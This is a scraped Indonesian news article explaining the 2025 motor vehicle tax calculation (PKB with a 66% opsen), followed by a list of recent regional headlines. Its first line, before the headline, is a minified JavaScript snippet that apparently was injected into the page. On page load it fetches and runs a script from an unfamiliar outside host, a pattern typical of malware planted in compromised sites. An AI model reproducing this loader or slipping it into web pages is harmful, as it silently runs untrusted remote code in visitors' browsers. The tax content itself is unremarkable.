(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025


KANALKALIMANTAN.COM, JAKARTA – Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025. Pajak baru itu dengan opsen pada tarif Pajak Kendaraan Bermotor (PKB) dan Bea Balik Nama Kendaraan Bermotor (BBNKB). Namun, pada penerapan opsen sebesar 66% diikuti dengan penurunan tarif PKB dan BBNKB.

Langkah ini diambil sebagai bagian dari upaya pemerintah untuk menyelaraskan sistem perpajakan kendaraan bermotor, sekaligus memastikan distribusi beban pajak yang lebih adil bagi masyarakat.

Sebagai contoh, pada pembayaran pajak kendaraan bermotor 2025, apabila seseorang memiliki mobil dengan nilai jual kendaraan bermotor (NJKB) sebesar Rp 150 juta. Mobil ini merupakan kendaraan pertama yang dimiliki oleh wajib pajak tersebut.

Baca juga: Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

Berdasarkan Undang-Undang Nomor 1 Tahun 2022, tarif Pajak Kendaraan Bermotor (PKB) untuk kendaraan pertama ditetapkan sebesar 1,1%.

Oleh karena itu, PKB yang harus dibayarkan adalah 1,1% dari Rp 150 juta, yaitu Rp 1,65 juta. Dana ini nantinya akan disetorkan ke Rekening Kas Umum Daerah (RKUD) provinsi domisili wajib pajak.

Selain itu, pemilik kendaraan juga diwajibkan membayar opsen PKB sesuai hukum pajak baru kendaraan bermotor 2025. Opsen ini dihitung sebesar 66% dari PKB terutang. Dengan demikian, 66% dari Rp 1,65 juta adalah Rp 1,089 juta. Dana dari opsen PKB ini akan disalurkan ke RKUD kabupaten atau kota sesuai alamat wajib pajak atau data Nomor Induk Kependudukan (NIK).

Baca juga: Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

Maka, total pajak yang harus dibayarkan oleh pemilik mobil itu adalah Rp 2,73 juta. Jumlah ini terdiri dari PKB terutang sebesar Rp 1,65 juta ditambah dengan opsen PKB sebesar Rp 1,089 juta.

Apabila dibandingkan dengan skema perpajakan sebelumnya, yang diatur dalam Undang-Undang Nomor 28 Tahun 2009, tarif PKB lama adalah 1,8%. Dalam skema lama, untuk kendaraan dengan NJKB sebesar Rp 150 juta, PKB yang harus dibayar adalah Rp 2,7 juta.

Sedangkan, dengan skema pajak baru, total pajak kendaraan menjadi Rp 2,73 juta, Angka itu lebih mahal Rp 30.000 dibandingkan skema lama. Perbedaan ini muncul karena meskipun tarif PKB diturunkan menjadi 1,1% dan ada tambahan opsen sebesar 66% dari PKB terutang.

Baca juga: BRI Permudah Investasi dengan Fitur Tabungan Emas Digital di BRImo

Pembayaran total pajak sebesar Rp 2,73 juta dilakukan sekaligus melalui layanan Sistem Administrasi Manunggal Satu Atap (Samsat). Selanjutnya, bank yang menerima pembayaran akan membagi dana tersebut ke RKUD provinsi dan RKUD kabupaten/kota sesuai domisili wajib pajak.

Diketahui, dasar hukum pajak kendaraan bermotor 2025 dengan peraturan opsen ini adalah Undang-Undang Nomor 1 Tahun 2022 tentang Hubungan Keuangan Antara Pemerintah Pusat dan Pemerintah Daerah (UU HKPD). (Beritasatu.com/kk)

Editor: kk


Muhammad Andi

Recent Posts

Bupati Kapuas Resmikan Kantor Kelurahan Selat Hulu

KANALKALIMANTAN.COM, KUALA KAPUAS - Kantor Kelurahan Selat Hulu yang berlokasi di Jalan Cilik Riwut Gang… Read More

5 jam ago

13 Februari Hari Persatuan Ahli Farmasi Indonesia: Ini Sejarahnya

KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More

7 jam ago

BI Kalsel Selenggarakan SERAMBI 2026, Dukung Kebutuhan Uang Kartal Periode Ramadan dan Idulfitri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More

9 jam ago

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

17 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

18 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

19 jam ago

This website uses cookies.